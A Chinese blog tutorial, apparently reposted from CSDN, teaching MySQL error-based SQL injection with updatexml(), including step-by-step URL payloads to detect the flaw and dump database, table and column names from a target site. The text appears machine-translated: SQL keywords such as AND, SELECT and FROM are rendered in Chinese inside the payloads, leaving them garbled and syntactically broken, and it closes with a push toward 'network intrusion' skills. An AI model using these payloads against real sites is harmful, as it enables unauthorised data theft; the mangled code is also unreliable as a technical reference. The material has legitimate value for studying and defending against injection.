接下来我们就一步步分析错误注入是如何在错误消息中显示这些数据的。
二、执行原理
1. 代码逻辑分析
测试网站的功能非常简单。根据ID查询用户名和名字。
执行过程分为三步。
用户输入一个参数(用户ID),在后台运行SQL(查询用户信息),将查询结果回显到前端。
了解了网站的功能逻辑后,我们来了解错误注入的核心:updatexml()。
2. 报错函数
MySQL 提供了updatexml() 函数。如果第二个参数包含特殊符号,该函数会报告错误,并在错误消息中显示第二个参数的内容。
通过在地址栏中键入?id=1\’ 和updatexml(1,0x7e, 3) — a 查询用户ID 时,可以使用错误报告功能。
提示:0x7e 相当于~。 updatexml() 需要MySQL5.1 或更高版本。
参数2包含特殊符号~,会触发数据库错误,并在错误信息中显示参数2的内容。
3. 拼接查询结果
通过将查询语句与参数2中的特殊符号组合,可以将查询结果显示在错误信息中,在地址栏中输入以下内容:
?id=1\’ 和updatexml(1, concat(0x7e,version()), 3) —
参数2内容的查询结果会以错误信息的形式显示在数据库中并回显到页面。
暗示:
version():返回数据库版本。 concat():将特殊符号和查询结果组合起来。关于该函数的更多使用方法,请参见我的另一篇博客:MySQL concat函数使用详解。
4. 长度限制
updatexml() 函数的错误消息长度不能超过32 个字符。有两种常用的解决方案。
substr() 限制分页拦截字符
4.1 limit 分页
以数据库用户查询为例。
?id=-1\’ 和updatexml(1,concat(0x7e,
(请选择用户
mysql.用户限制1,1)
),3) –a
4.2 substr()截取字符
以数据库用户查询为例。
?id=-1\’ 和updatexml(1,concat(0x7e,
子字符串(
(选择group_concat(用户)
mysql.用户)
, 1, 31)
),3) –a
现在您已经了解了错误注入背后的原理,让我们来组织一下错误注入的步骤。
三、步骤总结
适用情况:页面包含来自数据库的错误信息
错误信息是动态的,必须从数据库中检索。
您网站上的硬编码和自定义错误消息不算在内。
1. 判断是否报错
如果给参数添加单引号或双引号,页面会报错,然后再继续下一步。
?id=1\’ –a
2. 判断报错条件
向参数添加错误报告功能,以检查错误消息是否成功回显。
?id=1\’ 和updatexml(1,\’~\’,3) —
3. 脱库
获取所有数据库
?id=-1\’ 和updatexml(1,concat(\’~\’,
子字符串(
(选择group_concat(schema_name)
information_schema.schemata)
, 1, 31)
),3) –a
获取所有表
?id=1\’ 和updatexml(1,concat(\’~\’,
子字符串(
(选择组\\_concat(表\\_name)
来自\\_schema.tables 的信息
其中表\\_schema=\’安全\’)
, 1, 31)
),3) –a
获取所有字段
?id=1\’ 和updatexml(1,concat(\’~\’,
子字符串(
(选择组\\_concat(列\\_名称)
来自信息\\_schema.columns
其中表\\_schema=\’安全\’,表\\_name=\’用户\’)
, 1, 31)
),3) –a
## 学习路线:
早期朝这个方向起步相对容易,一旦掌握了一些基本技术并拥有了各种现成的工具,就可以开始黑客攻击了。然而,如果你想从一个脚本小子转变为一名黑客大师,你越往这个方向发展,你就越需要学习和掌握网络入侵方面的知识。
![在此插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)
#WebSecurity 以上:错误注入原理、错误注入流程、错误注入常见特征分析等信息仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92155.html